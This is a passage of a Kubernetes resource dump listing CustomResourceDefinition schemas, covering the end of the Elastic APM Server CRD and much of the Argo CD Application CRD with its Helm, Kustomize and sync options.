                                can use this port to determine if a given node holds endpoints for this
                                service or not.  If this field is specified when creating a Service
                                which does not need it, creation will fail. This field will be wiped
                                when updating a Service to no longer need it (e.g. changing type).
                                This field cannot be updated once set.
                              format: int32
                              type: integer
                            internalTrafficPolicy:
                              description: |-
                                InternalTrafficPolicy describes how nodes distribute service traffic they
                                receive on the ClusterIP. If set to "Local", the proxy will assume that pods
                                only want to talk to endpoints of the service on the same node as the pod,
                                dropping the traffic if there are no local endpoints. The default value,
                                "Cluster", uses the standard behavior of routing to all endpoints evenly
                                (possibly modified by topology and other features).
                              type: string
                            ipFamilies:
                              description: |-
                                IPFamilies is a list of IP families (e.g. IPv4, IPv6) assigned to this
                                service. This field is usually assigned automatically based on cluster
                                configuration and the ipFamilyPolicy field. If this field is specified
                                manually, the requested family is available in the cluster,
                                and ipFamilyPolicy allows it, it will be used; otherwise creation of
                                the service will fail. This field is conditionally mutable: it allows
                                for adding or removing a secondary IP family, but it does not allow
                                changing the primary IP family of the Service. Valid values are "IPv4"
                                and "IPv6".  This field only applies to Services of types ClusterIP,
                                NodePort, and LoadBalancer, and does apply to "headless" services.
                                This field will be wiped when updating a Service to type ExternalName.


                                This field may hold a maximum of two entries (dual-stack families, in
                                either order).  These families must correspond to the values of the
                                clusterIPs field, if specified. Both clusterIPs and ipFamilies are
                                governed by the ipFamilyPolicy field.
                              items:
                                description: |-
                                  IPFamily represents the IP Family (IPv4 or IPv6). This type is used
                                  to express the family of an IP expressed by a type (e.g. service.spec.ipFamilies).
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            ipFamilyPolicy:
                              description: |-
                                IPFamilyPolicy represents the dual-stack-ness requested or required by
                                this Service. If there is no value provided, then this field will be set
                                to SingleStack. Services can be "SingleStack" (a single IP family),
                                "PreferDualStack" (two IP families on dual-stack configured clusters or
                                a single IP family on single-stack clusters), or "RequireDualStack"
                                (two IP families on dual-stack configured clusters, otherwise fail). The
                                ipFamilies and clusterIPs fields depend on the value of this field. This
                                field will be wiped when updating a service to type ExternalName.
                              type: string
                            loadBalancerClass:
                              description: |-
                                loadBalancerClass is the class of the load balancer implementation this Service belongs to.
                                If specified, the value of this field must be a label-style identifier, with an optional prefix,
                                e.g. "internal-vip" or "example.com/internal-vip". Unprefixed names are reserved for end-users.
                                This field can only be set when the Service type is 'LoadBalancer'. If not set, the default load
                                balancer implementation is used, today this is typically done through the cloud provider integration,
                                but should apply for any default implementation. If set, it is assumed that a load balancer
                                implementation is watching for Services with a matching class. Any default load balancer
                                implementation (e.g. cloud providers) should ignore Services that set this field.
                                This field can only be set when creating or updating a Service to type 'LoadBalancer'.
                                Once set, it can not be changed. This field will be wiped when a service is updated to a non 'LoadBalancer' type.
                              type: string
                            loadBalancerIP:
                              description: |-
                                Only applies to Service Type: LoadBalancer.
                                This feature depends on whether the underlying cloud-provider supports specifying
                                the loadBalancerIP when a load balancer is created.
                                This field will be ignored if the cloud-provider does not support the feature.
                                Deprecated: This field was under-specified and its meaning varies across implementations.
                                Using it is non-portable and it may not support dual-stack.
                                Users are encouraged to use implementation-specific annotations when available.
                              type: string
                            loadBalancerSourceRanges:
                              description: |-
                                If specified and supported by the platform, this will restrict traffic through the cloud-provider
                                load-balancer will be restricted to the specified client IPs. This field will be ignored if the
                                cloud-provider does not support the feature."
                                More info: https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            ports:
                              description: |-
                                The list of ports that are exposed by this service.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              items:
                                description: ServicePort contains information on service's
                                  port.
                                properties:
                                  appProtocol:
                                    description: |-
                                      The application protocol for this port.
                                      This is used as a hint for implementations to offer richer behavior for protocols that they understand.
                                      This field follows standard Kubernetes label syntax.
                                      Valid values are either:


                                      * Un-prefixed protocol names - reserved for IANA standard service names (as per
                                      RFC-6335 and https://www.iana.org/assignments/service-names).


                                      * Kubernetes-defined prefixed names:
                                        * 'kubernetes.io/h2c' - HTTP/2 prior knowledge over cleartext as described in https://www.rfc-editor.org/rfc/rfc9113.html#name-starting-http-2-with-prior-
                                        * 'kubernetes.io/ws'  - WebSocket over cleartext as described in https://www.rfc-editor.org/rfc/rfc6455
                                        * 'kubernetes.io/wss' - WebSocket over TLS as described in https://www.rfc-editor.org/rfc/rfc6455


                                      * Other protocols should use implementation-defined prefixed names such as
                                      mycompany.com/my-custom-protocol.
                                    type: string
                                  name:
                                    description: |-
                                      The name of this port within the service. This must be a DNS_LABEL.
                                      All ports within a ServiceSpec must have unique names. When considering
                                      the endpoints for a Service, this must match the 'name' field in the
                                      EndpointPort.
                                      Optional if only one ServicePort is defined on this service.
                                    type: string
                                  nodePort:
                                    description: |-
                                      The port on each node on which this service is exposed when type is
                                      NodePort or LoadBalancer.  Usually assigned by the system. If a value is
                                      specified, in-range, and not in use it will be used, otherwise the
                                      operation will fail.  If not specified, a port will be allocated if this
                                      Service requires one.  If this field is specified when creating a
                                      Service which does not need it, creation will fail. This field will be
                                      wiped when updating a Service to no longer need it (e.g. changing type
                                      from NodePort to ClusterIP).
                                      More info: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport
                                    format: int32
                                    type: integer
                                  port:
                                    description: The port that will be exposed by
                                      this service.
                                    format: int32
                                    type: integer
                                  protocol:
                                    default: TCP
                                    description: |-
                                      The IP protocol for this port. Supports "TCP", "UDP", and "SCTP".
                                      Default is TCP.
                                    type: string
                                  targetPort:
                                    anyOf:
                                    - type: integer
                                    - type: string
                                    description: |-
                                      Number or name of the port to access on the pods targeted by the service.
                                      Number must be in the range 1 to 65535. Name must be an IANA_SVC_NAME.
                                      If this is a string, it will be looked up as a named port in the
                                      target Pod's container ports. If this is not specified, the value
                                      of the 'port' field is used (an identity map).
                                      This field is ignored for services with clusterIP=None, and should be
                                      omitted or set equal to the 'port' field.
                                      More info: https://kubernetes.io/docs/concepts/services-networking/service/#defining-a-service
                                    x-kubernetes-int-or-string: true
                                required:
                                - port
                                type: object
                              type: array
                              x-kubernetes-list-map-keys:
                              - port
                              - protocol
                              x-kubernetes-list-type: map
                            publishNotReadyAddresses:
                              description: |-
                                publishNotReadyAddresses indicates that any agent which deals with endpoints for this
                                Service should disregard any indications of ready/not-ready.
                                The primary use case for setting this field is for a StatefulSet's Headless Service to
                                propagate SRV DNS records for its Pods for the purpose of peer discovery.
                                The Kubernetes controllers that generate Endpoints and EndpointSlice resources for
                                Services interpret this to mean that all endpoints are considered "ready" even if the
                                Pods themselves are not. Agents which consume only Kubernetes generated endpoints
                                through the Endpoints or EndpointSlice resources can safely assume this behavior.
                              type: boolean
                            selector:
                              additionalProperties:
                                type: string
                              description: |-
                                Route service traffic to pods with label keys and values matching this
                                selector. If empty or not present, the service is assumed to have an
                                external process managing its endpoints, which Kubernetes will not
                                modify. Only applies to types ClusterIP, NodePort, and LoadBalancer.
                                Ignored if type is ExternalName.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/
                              type: object
                              x-kubernetes-map-type: atomic
                            sessionAffinity:
                              description: |-
                                Supports "ClientIP" and "None". Used to maintain session affinity.
                                Enable client IP based session affinity.
                                Must be ClientIP or None.
                                Defaults to None.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              type: string
                            sessionAffinityConfig:
                              description: sessionAffinityConfig contains the configurations
                                of session affinity.
                              properties:
                                clientIP:
                                  description: clientIP contains the configurations
                                    of Client IP based session affinity.
                                  properties:
                                    timeoutSeconds:
                                      description: |-
                                        timeoutSeconds specifies the seconds of ClientIP type session sticky time.
                                        The value must be >0 && <=86400(for 1 day) if ServiceAffinity == "ClientIP".
                                        Default value is 10800(for 3 hours).
                                      format: int32
                                      type: integer
                                  type: object
                              type: object
                            trafficDistribution:
                              description: |-
                                TrafficDistribution offers a way to express preferences for how traffic is
                                distributed to Service endpoints. Implementations can use this field as a
                                hint, but are not required to guarantee strict adherence. If the field is
                                not set, the implementation will apply its default routing strategy. If set
                                to "PreferClose", implementations should prioritize endpoints that are
                                topologically close (e.g., same zone).
                                This is an alpha field and requires enabling ServiceTrafficDistribution feature.
                              type: string
                            type:
                              description: |-
                                type determines how the Service is exposed. Defaults to ClusterIP. Valid
                                options are ExternalName, ClusterIP, NodePort, and LoadBalancer.
                                "ClusterIP" allocates a cluster-internal IP address for load-balancing
                                to endpoints. Endpoints are determined by the selector or if that is not
                                specified, by manual construction of an Endpoints object or
                                EndpointSlice objects. If clusterIP is "None", no virtual IP is
                                allocated and the endpoints are published as a set of endpoints rather
                                than a virtual IP.
                                "NodePort" builds on ClusterIP and allocates a port on every node which
                                routes to the same endpoints as the clusterIP.
                                "LoadBalancer" builds on NodePort and creates an external load-balancer
                                (if supported in the current cloud) which routes to the same endpoints
                                as the clusterIP.
                                "ExternalName" aliases this service to the specified externalName.
                                Several other fields do not apply to ExternalName services.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types
                              type: string
                          type: object
                      type: object
                    tls:
                      description: TLS defines options for configuring TLS for HTTP.
                      properties:
                        certificate:
                          description: |-
                            Certificate is a reference to a Kubernetes secret that contains the certificate and private key for enabling TLS.
                            The referenced secret should contain the following:


                            - `ca.crt`: The certificate authority (optional).
                            - `tls.crt`: The certificate (or a chain).
                            - `tls.key`: The private key to the first certificate in the certificate chain.
                          properties:
                            secretName:
                              description: SecretName is the name of the secret.
                              type: string
                          type: object
                        selfSignedCertificate:
                          description: SelfSignedCertificate allows configuring the
                            self-signed certificate generated by the operator.
                          properties:
                            disabled:
                              description: Disabled indicates that the provisioning
                                of the self-signed certifcate should be disabled.
                              type: boolean
                            subjectAltNames:
                              description: SubjectAlternativeNames is a list of SANs
                                to include in the generated HTTP TLS certificate.
                              items:
                                description: SubjectAlternativeName represents a SAN
                                  entry in a x509 certificate.
                                properties:
                                  dns:
                                    description: DNS is the DNS name of the subject.
                                    type: string
                                  ip:
                                    description: IP is the IP address of the subject.
                                    type: string
                                type: object
                              type: array
                          type: object
                      type: object
                  type: object
                image:
                  description: Image is the APM Server Docker image to deploy.
                  type: string
                podTemplate:
                  description: PodTemplate provides customisation options (labels,
                    annotations, affinity rules, resource requests, and so on) for
                    the APM Server pods.
                  type: object
                  x-kubernetes-preserve-unknown-fields: true
                secureSettings:
                  description: SecureSettings is a list of references to Kubernetes
                    secrets containing sensitive configuration options for APM Server.
                  items:
                    description: SecretSource defines a data source based on a Kubernetes
                      Secret.
                    properties:
                      entries:
                        description: |-
                          Entries define how to project each key-value pair in the secret to filesystem paths.
                          If not defined, all keys will be projected to similarly named paths in the filesystem.
                          If defined, only the specified keys will be projected to the corresponding paths.
                        items:
                          description: KeyToPath defines how to map a key in a Secret
                            object to a filesystem path.
                          properties:
                            key:
                              description: Key is the key contained in the secret.
                              type: string
                            path:
                              description: |-
                                Path is the relative file path to map the key to.
                                Path must not be an absolute file path and must not contain any ".." components.
                              type: string
                          required:
                          - key
                          type: object
                        type: array
                      secretName:
                        description: SecretName is the name of the secret.
                        type: string
                    required:
                    - secretName
                    type: object
                  type: array
                version:
                  description: Version of the APM Server.
                  type: string
              type: object
            status:
              description: ApmServerStatus defines the observed state of ApmServer
              properties:
                associationStatus:
                  description: Association is the status of any auto-linking to Elasticsearch
                    clusters.
                  type: string
                availableNodes:
                  format: int32
                  type: integer
                health:
                  description: ApmServerHealth expresses the status of the Apm Server
                    instances.
                  type: string
                secretTokenSecret:
                  description: SecretTokenSecretName is the name of the Secret that
                    contains the secret token
                  type: string
                service:
                  description: ExternalService is the name of the service the agents
                    should connect to.
                  type: string
              type: object
          type: object
      served: true
      storage: false
      subresources:
        status: {}
    - name: v1alpha1
      schema:
        openAPIV3Schema:
          description: to not break compatibility when upgrading from previous versions
            of the CRD
          type: object
      served: false
      storage: false
  status:
    acceptedNames:
      categories:
      - elastic
      kind: ApmServer
      listKind: ApmServerList
      plural: apmservers
      shortNames:
      - apm
      singular: apmserver
    conditions:
    - lastTransitionTime: "2025-09-23T11:55:59Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-23T11:55:59Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      helm.sh/resource-policy: keep
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:12Z"
    generation: 1
    labels:
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: applications.argoproj.io
      app.kubernetes.io/part-of: argocd
    name: applications.argoproj.io
    resourceVersion: "74961"
    uid: e32b8ebc-f3c8-4844-b7ee-0e19f7dd8b93
  spec:
    conversion:
      strategy: None
    group: argoproj.io
    names:
      kind: Application
      listKind: ApplicationList
      plural: applications
      shortNames:
      - app
      - apps
      singular: application
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - jsonPath: .status.sync.status
        name: Sync Status
        type: string
      - jsonPath: .status.health.status
        name: Health Status
        type: string
      - jsonPath: .status.sync.revision
        name: Revision
        priority: 10
        type: string
      - jsonPath: .spec.project
        name: Project
        priority: 10
        type: string
      name: v1alpha1
      schema:
        openAPIV3Schema:
          description: Application is a definition of Application resource.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            operation:
              description: Operation contains information about a requested or running
                operation
              properties:
                info:
                  description: Info is a list of informational items for this operation
                  items:
                    properties:
                      name:
                        type: string
                      value:
                        type: string
                    required:
                    - name
                    - value
                    type: object
                  type: array
                initiatedBy:
                  description: InitiatedBy contains information about who initiated
                    the operations
                  properties:
                    automated:
                      description: Automated is set to true if operation was initiated
                        automatically by the application controller.
                      type: boolean
                    username:
                      description: Username contains the name of a user who started
                        operation
                      type: string
                  type: object
                retry:
                  description: Retry controls the strategy to apply if a sync fails
                  properties:
                    backoff:
                      description: Backoff controls how to backoff on subsequent retries
                        of failed syncs
                      properties:
                        duration:
                          description: Duration is the amount to back off. Default
                            unit is seconds, but could also be a duration (e.g. "2m",
                            "1h")
                          type: string
                        factor:
                          description: Factor is a factor to multiply the base duration
                            after each failed retry
                          format: int64
                          type: integer
                        maxDuration:
                          description: MaxDuration is the maximum amount of time allowed
                            for the backoff strategy
                          type: string
                      type: object
                    limit:
                      description: Limit is the maximum number of attempts for retrying
                        a failed sync. If set to 0, no retries will be performed.
                      format: int64
                      type: integer
                  type: object
                sync:
                  description: Sync contains parameters for the operation
                  properties:
                    autoHealAttemptsCount:
                      description: SelfHealAttemptsCount contains the number of auto-heal
                        attempts
                      format: int64
                      type: integer
                    dryRun:
                      description: DryRun specifies to perform a `kubectl apply --dry-run`
                        without actually performing the sync
                      type: boolean
                    manifests:
                      description: Manifests is an optional field that overrides sync
                        source with a local directory for development
                      items:
                        type: string
                      type: array
                    prune:
                      description: Prune specifies to delete resources from the cluster
                        that are no longer tracked in git
                      type: boolean
                    resources:
                      description: Resources describes which resources shall be part
                        of the sync
                      items:
                        description: SyncOperationResource contains resources to sync.
                        properties:
                          group:
                            type: string
                          kind:
                            type: string
                          name:
                            type: string
                          namespace:
                            type: string
                        required:
                        - kind
                        - name
                        type: object
                      type: array
                    revision:
                      description: |-
                        Revision is the revision (Git) or chart version (Helm) which to sync the application to
                        If omitted, will use the revision specified in app spec.
                      type: string
                    revisions:
                      description: |-
                        Revisions is the list of revision (Git) or chart version (Helm) which to sync each source in sources field for the application to
                        If omitted, will use the revision specified in app spec.
                      items:
                        type: string
                      type: array
                    source:
                      description: |-
                        Source overrides the source definition set in the application.
                        This is typically set in a Rollback operation and is nil during a Sync operation
                      properties:
                        chart:
                          description: Chart is a Helm chart name, and must be specified
                            for applications sourced from a Helm repo.
                          type: string
                        directory:
                          description: Directory holds path/directory specific options
                          properties:
                            exclude:
                              description: Exclude contains a glob pattern to match
                                paths against that should be explicitly excluded from
                                being used during manifest generation
                              type: string
                            include:
                              description: Include contains a glob pattern to match
                                paths against that should be explicitly included during
                                manifest generation
                              type: string
                            jsonnet:
                              description: Jsonnet holds options specific to Jsonnet
                              properties:
                                extVars:
                                  description: ExtVars is a list of Jsonnet External
                                    Variables
                                  items:
                                    description: JsonnetVar represents a variable
                                      to be passed to jsonnet during manifest generation
                                    properties:
                                      code:
                                        type: boolean
                                      name:
                                        type: string
                                      value:
                                        type: string
                                    required:
                                    - name
                                    - value
                                    type: object
                                  type: array
                                libs:
                                  description: Additional library search dirs
                                  items:
                                    type: string
                                  type: array
                                tlas:
                                  description: TLAS is a list of Jsonnet Top-level
                                    Arguments
                                  items:
                                    description: JsonnetVar represents a variable
                                      to be passed to jsonnet during manifest generation
                                    properties:
                                      code:
                                        type: boolean
                                      name:
                                        type: string
                                      value:
                                        type: string
                                    required:
                                    - name
                                    - value
                                    type: object
                                  type: array
                              type: object
                            recurse:
                              description: Recurse specifies whether to scan a directory
                                recursively for manifests
                              type: boolean
                          type: object
                        helm:
                          description: Helm holds helm specific options
                          properties:
                            apiVersions:
                              description: |-
                                APIVersions specifies the Kubernetes resource API versions to pass to Helm when templating manifests. By default,
                                Argo CD uses the API versions of the target cluster. The format is [group/]version/kind.
                              items:
                                type: string
                              type: array
                            fileParameters:
                              description: FileParameters are file parameters to the
                                helm template
                              items:
                                description: HelmFileParameter is a file parameter
                                  that's passed to helm template during manifest generation
                                properties:
                                  name:
                                    description: Name is the name of the Helm parameter
                                    type: string
                                  path:
                                    description: Path is the path to the file containing
                                      the values for the Helm parameter
                                    type: string
                                type: object
                              type: array
                            ignoreMissingValueFiles:
                              description: IgnoreMissingValueFiles prevents helm template
                                from failing when valueFiles do not exist locally
                                by not appending them to helm template --values
                              type: boolean
                            kubeVersion:
                              description: |-
                                KubeVersion specifies the Kubernetes API version to pass to Helm when templating manifests. By default, Argo CD
                                uses the Kubernetes version of the target cluster.
                              type: string
                            namespace:
                              description: Namespace is an optional namespace to template
                                with. If left empty, defaults to the app's destination
                                namespace.
                              type: string
                            parameters:
                              description: Parameters is a list of Helm parameters
                                which are passed to the helm template command upon
                                manifest generation
                              items:
                                description: HelmParameter is a parameter that's passed
                                  to helm template during manifest generation
                                properties:
                                  forceString:
                                    description: ForceString determines whether to
                                      tell Helm to interpret booleans and numbers
                                      as strings
                                    type: boolean
                                  name:
                                    description: Name is the name of the Helm parameter
                                    type: string
                                  value:
                                    description: Value is the value for the Helm parameter
                                    type: string
                                type: object
                              type: array
                            passCredentials:
                              description: PassCredentials pass credentials to all
                                domains (Helm's --pass-credentials)
                              type: boolean
                            releaseName:
                              description: ReleaseName is the Helm release name to
                                use. If omitted it will use the application name
                              type: string
                            skipCrds:
                              description: SkipCrds skips custom resource definition
                                installation step (Helm's --skip-crds)
                              type: boolean
                            skipSchemaValidation:
                              description: SkipSchemaValidation skips JSON schema
                                validation (Helm's --skip-schema-validation)
                              type: boolean
                            skipTests:
                              description: SkipTests skips test manifest installation
                                step (Helm's --skip-tests).
                              type: boolean
                            valueFiles:
                              description: ValuesFiles is a list of Helm value files
                                to use when generating a template
                              items:
                                type: string
                              type: array
                            values:
                              description: Values specifies Helm values to be passed
                                to helm template, typically defined as a block. ValuesObject
                                takes precedence over Values, so use one or the other.
                              type: string
                            valuesObject:
                              description: ValuesObject specifies Helm values to be
                                passed to helm template, defined as a map. This takes
                                precedence over Values.
                              type: object
                              x-kubernetes-preserve-unknown-fields: true
                            version:
                              description: Version is the Helm version to use for
                                templating ("3")
                              type: string
                          type: object
                        kustomize:
                          description: Kustomize holds kustomize specific options
                          properties:
                            apiVersions:
                              description: |-
                                APIVersions specifies the Kubernetes resource API versions to pass to Helm when templating manifests. By default,
                                Argo CD uses the API versions of the target cluster. The format is [group/]version/kind.
                              items:
                                type: string
                              type: array
                            commonAnnotations:
                              additionalProperties:
                                type: string
                              description: CommonAnnotations is a list of additional
                                annotations to add to rendered manifests
                              type: object
                            commonAnnotationsEnvsubst:
                              description: CommonAnnotationsEnvsubst specifies whether
                                to apply env variables substitution for annotation
                                values
                              type: boolean
                            commonLabels:
                              additionalProperties:
                                type: string
                              description: CommonLabels is a list of additional labels
                                to add to rendered manifests
                              type: object
                            components:
                              description: Components specifies a list of kustomize
                                components to add to the kustomization before building
                              items:
                                type: string
                              type: array
                            forceCommonAnnotations:
                              description: ForceCommonAnnotations specifies whether
                                to force applying common annotations to resources
                                for Kustomize apps
                              type: boolean
                            forceCommonLabels:
                              description: ForceCommonLabels specifies whether to
                                force applying common labels to resources for Kustomize
                                apps
                              type: boolean
                            ignoreMissingComponents:
                              description: IgnoreMissingComponents prevents kustomize
                                from failing when components do not exist locally
                                by not appending them to kustomization file
                              type: boolean
                            images:
                              description: Images is a list of Kustomize image override
                                specifications
                              items:
                                description: KustomizeImage represents a Kustomize
                                  image definition in the format [old_image_name=]<image_name>:<image_tag>
                                type: string
                              type: array
                            kubeVersion:
                              description: |-
                                KubeVersion specifies the Kubernetes API version to pass to Helm when templating manifests. By default, Argo CD
                                uses the Kubernetes version of the target cluster.
                              type: string
                            labelIncludeTemplates:
                              description: LabelIncludeTemplates specifies whether
                                to apply common labels to resource templates or not
                              type: boolean
                            labelWithoutSelector:
                              description: LabelWithoutSelector specifies whether
                                to apply common labels to resource selectors or not
                              type: boolean
                            namePrefix:
                              description: NamePrefix is a prefix appended to resources
                                for Kustomize apps
                              type: string
                            nameSuffix:
                              description: NameSuffix is a suffix appended to resources
                                for Kustomize apps
                              type: string
                            namespace:
                              description: Namespace sets the namespace that Kustomize
                                adds to all resources
                              type: string
                            patches:
                              description: Patches is a list of Kustomize patches
                              items:
                                properties:
                                  options:
                                    additionalProperties:
                                      type: boolean
                                    type: object
                                  patch:
                                    type: string
                                  path:
                                    type: string
                                  target:
                                    properties:
                                      annotationSelector:
                                        type: string
                                      group:
                                        type: string
                                      kind:
                                        type: string
                                      labelSelector:
                                        type: string
                                      name:
                                        type: string
                                      namespace:
                                        type: string
                                      version:
                                        type: string
                                    type: object
                                type: object
                              type: array
                            replicas:
                              description: Replicas is a list of Kustomize Replicas
                                override specifications
                              items:
                                properties:
                                  count:
                                    anyOf:
                                    - type: integer
                                    - type: string
                                    description: Number of replicas
                                    x-kubernetes-int-or-string: true
                                  name:
                                    description: Name of Deployment or StatefulSet
                                    type: string
                                required:
                                - count
                                - name
                                type: object
                              type: array
                            version:
                              description: Version controls which version of Kustomize
                                to use for rendering manifests
                              type: string
                          type: object
                        name:
                          description: Name is used to refer to a source and is displayed
                            in the UI. It is used in multi-source Applications.
                          type: string
                        path:
                          description: Path is a directory path within the Git repository,
                            and is only valid for applications sourced from Git.
                          type: string
                        plugin:
                          description: Plugin holds config management plugin specific
                            options
                          properties:
                            env:
                              description: Env is a list of environment variable entries
                              items:
                                description: EnvEntry represents an entry in the application's
                                  environment
                                properties:
                                  name:
                                    description: Name is the name of the variable,
                                      usually expressed in uppercase
                                    type: string
                                  value:
                                    description: Value is the value of the variable
                                    type: string
                                required:
                                - name
                                - value
                                type: object
                              type: array
                            name:
                              type: string
                            parameters:
                              items:
                                properties:
                                  array:
                                    description: Array is the value of an array type
                                      parameter.
                                    items:
                                      type: string
                                    type: array
                                  map:
                                    additionalProperties:
                                      type: string
                                    description: Map is the value of a map type parameter.
                                    type: object
                                  name:
                                    description: Name is the name identifying a parameter.
                                    type: string
                                  string:
                                    description: String_ is the value of a string
                                      type parameter.
                                    type: string
                                type: object
                              type: array
                          type: object
                        ref:
                          description: Ref is reference to another source within sources
                            field. This field will not be used if used with a `source`
                            tag.
                          type: string
                        repoURL:
                          description: RepoURL is the URL to the repository (Git or
                            Helm) that contains the application manifests
                          type: string
                        targetRevision:
                          description: |-
                            TargetRevision defines the revision of the source to sync the application to.
                            In case of Git, this can be commit, tag, or branch. If omitted, will equal to HEAD.
                            In case of Helm, this is a semver tag for the Chart's version.
                          type: string
                      required:
                      - repoURL
                      type: object
                    sources:
                      description: |-
                        Sources overrides the source definition set in the application.
                        This is typically set in a Rollback operation and is nil during a Sync operation
                      items:
                        description: ApplicationSource contains all required information
                          about the source of an application
                        properties:
                          chart:
                            description: Chart is a Helm chart name, and must be specified
                              for applications sourced from a Helm repo.
                            type: string
                          directory:
                            description: Directory holds path/directory specific options
                            properties:
                              exclude:
                                description: Exclude contains a glob pattern to match
                                  paths against that should be explicitly excluded
                                  from being used during manifest generation
                                type: string
                              include:
                                description: Include contains a glob pattern to match
                                  paths against that should be explicitly included
                                  during manifest generation
                                type: string
                              jsonnet:
                                description: Jsonnet holds options specific to Jsonnet
                                properties:
                                  extVars:
                                    description: ExtVars is a list of Jsonnet External
                                      Variables
                                    items:
                                      description: JsonnetVar represents a variable
                                        to be passed to jsonnet during manifest generation
                                      properties:
                                        code:
                                          type: boolean
                                        name:
                                          type: string
                                        value:
                                          type: string
                                      required:
                                      - name
                                      - value
                                      type: object
                                    type: array
                                  libs:
                                    description: Additional library search dirs
                                    items:
                                      type: string
                                    type: array
                                  tlas:
                                    description: TLAS is a list of Jsonnet Top-level
                                      Arguments
                                    items:
                                      description: JsonnetVar represents a variable
                                        to be passed to jsonnet during manifest generation
                                      properties:
                                        code:
                                          type: boolean
                                        name:
                                          type: string
                                        value:
                                          type: string
                                      required:
                                      - name
                                      - value
                                      type: object
                                    type: array
                                type: object
                              recurse:
                                description: Recurse specifies whether to scan a directory
                                  recursively for manifests
                                type: boolean
                            type: object
                          helm:
                            description: Helm holds helm specific options
                            properties:
                              apiVersions:
                                description: |-
                                  APIVersions specifies the Kubernetes resource API versions to pass to Helm when templating manifests. By default,
                                  Argo CD uses the API versions of the target cluster. The format is [group/]version/kind.
                                items:
                                  type: string
                                type: array
                              fileParameters:
                                description: FileParameters are file parameters to
                                  the helm template
                                items:
                                  description: HelmFileParameter is a file parameter
                                    that's passed to helm template during manifest
                                    generation
                                  properties:
                                    name:
                                      description: Name is the name of the Helm parameter
                                      type: string
                                    path:
                                      description: Path is the path to the file containing
                                        the values for the Helm parameter
                                      type: string
                                  type: object
                                type: array
                              ignoreMissingValueFiles:
                                description: IgnoreMissingValueFiles prevents helm
                                  template from failing when valueFiles do not exist
                                  locally by not appending them to helm template --values
                                type: boolean
                              kubeVersion:
                                description: |-
                                  KubeVersion specifies the Kubernetes API version to pass to Helm when templating manifests. By default, Argo CD
                                  uses the Kubernetes version of the target cluster.
                                type: string
                              namespace:
                                description: Namespace is an optional namespace to
                                  template with. If left empty, defaults to the app's
                                  destination namespace.
                                type: string
                              parameters:
                                description: Parameters is a list of Helm parameters
                                  which are passed to the helm template command upon
                                  manifest generation
                                items:
                                  description: HelmParameter is a parameter that's
                                    passed to helm template during manifest generation
                                  properties:
                                    forceString:
                                      description: ForceString determines whether
                                        to tell Helm to interpret booleans and numbers
                                        as strings
                                      type: boolean
                                    name:
                                      description: Name is the name of the Helm parameter
                                      type: string
                                    value:
                                      description: Value is the value for the Helm
                                        parameter
                                      type: string
                                  type: object
                                type: array
                              passCredentials:
                                description: PassCredentials pass credentials to all
                                  domains (Helm's --pass-credentials)
                                type: boolean
                              releaseName:
                                description: ReleaseName is the Helm release name
                                  to use. If omitted it will use the application name
                                type: string
                              skipCrds:
                                description: SkipCrds skips custom resource definition
                                  installation step (Helm's --skip-crds)
                                type: boolean
                              skipSchemaValidation:
                                description: SkipSchemaValidation skips JSON schema
                                  validation (Helm's --skip-schema-validation)
                                type: boolean
                              skipTests:
                                description: SkipTests skips test manifest installation
                                  step (Helm's --skip-tests).
                                type: boolean
                              valueFiles:
                                description: ValuesFiles is a list of Helm value files
                                  to use when generating a template
                                items:
                                  type: string
                                type: array
                              values:
                                description: Values specifies Helm values to be passed
                                  to helm template, typically defined as a block.
                                  ValuesObject takes precedence over Values, so use
                                  one or the other.
                                type: string
                              valuesObject:
                                description: ValuesObject specifies Helm values to
                                  be passed to helm template, defined as a map. This
                                  takes precedence over Values.
                                type: object
                                x-kubernetes-preserve-unknown-fields: true
                              version:
                                description: Version is the Helm version to use for
                                  templating ("3")
                                type: string
                            type: object
                          kustomize:
                            description: Kustomize holds kustomize specific options
                            properties:
                              apiVersions:
                                description: |-
                                  APIVersions specifies the Kubernetes resource API versions to pass to Helm when templating manifests. By default,
                                  Argo CD uses the API versions of the target cluster. The format is [group/]version/kind.
                                items:
                                  type: string
                                type: array
                              commonAnnotations:
                                additionalProperties:
                                  type: string
                                description: CommonAnnotations is a list of additional
                                  annotations to add to rendered manifests
                                type: object
                              commonAnnotationsEnvsubst:
                                description: CommonAnnotationsEnvsubst specifies whether
                                  to apply env variables substitution for annotation
                                  values
                                type: boolean
                              commonLabels:
                                additionalProperties:
                                  type: string
                                description: CommonLabels is a list of additional
                                  labels to add to rendered manifests
                                type: object
                              components:
                                description: Components specifies a list of kustomize
                                  components to add to the kustomization before building
                                items:
                                  type: string
                                type: array
                              forceCommonAnnotations:
                                description: ForceCommonAnnotations specifies whether
                                  to force applying common annotations to resources
                                  for Kustomize apps
                                type: boolean
                              forceCommonLabels:
                                description: ForceCommonLabels specifies whether to
                                  force applying common labels to resources for Kustomize
                                  apps
                                type: boolean
                              ignoreMissingComponents:
                                description: IgnoreMissingComponents prevents kustomize
                                  from failing when components do not exist locally
                                  by not appending them to kustomization file
                                type: boolean
